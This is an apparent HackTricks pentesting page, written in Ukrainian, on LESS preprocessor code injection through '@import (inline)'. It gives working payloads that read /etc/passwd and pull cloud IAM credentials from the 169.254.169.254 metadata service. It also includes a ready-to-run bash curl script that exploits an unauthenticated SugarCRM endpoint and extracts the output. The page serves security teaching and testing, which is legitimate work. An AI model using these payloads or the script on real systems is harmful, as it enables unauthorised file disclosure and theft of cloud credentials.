LESS Code Injection leading to SSRF & Local File Read

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

LESS — популярний CSS препроцесор, який додає змінні, mixins, функції та потужну директиву @import. Під час компіляції движок LESS завантажує ресурси, згадані в @import і вбудовує (“inline”) їхній вміст у кінцевий CSS, коли використовується опція (inline).

Коли застосунок конкатенує керований користувачем ввід у рядок, який потім парситься компілятором LESS, атакуючий може впровадити довільний LESS код. Зловживаючи @import (inline), атакуючий може примусити сервер отримати:

  • Локальні файли через протокол file:// (витік інформації / Local File Inclusion).
  • Віддалені ресурси у внутрішніх мережах або хмарних службах метаданих (SSRF).

Ця техніка була помічена в реальних продуктах, таких як SugarCRM ≤ 14.0.0 (ендпойнт /rest/v10/css/preview).

Експлуатація

  1. Знайдіть параметр, який безпосередньо вбудовується в рядок стилю, що обробляється движком LESS (наприклад ?lm= у SugarCRM).
  2. Закрийте поточну інструкцію і вставте нові директиви. Найпоширеніші примітиви:
  • ; – завершує попереднє оголошення.
  • } – закриває попередній блок (якщо потрібно).
  1. Використайте @import (inline) '<URL>'; для читання довільних ресурсів.
  2. За бажанням вставте маркер (data: URI) після import, щоб спростити витяг завантаженого вмісту зі скомпільованого CSS.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Вміст файлу /etc/passwd з’явиться в HTTP-відповіді безпосередньо перед маркером @@END@@.

SSRF – метадані хмари

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Автоматизований PoC (приклад SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Приклади з реального світу

ПродуктУразливий EndpointНаслідки
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & local file read

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks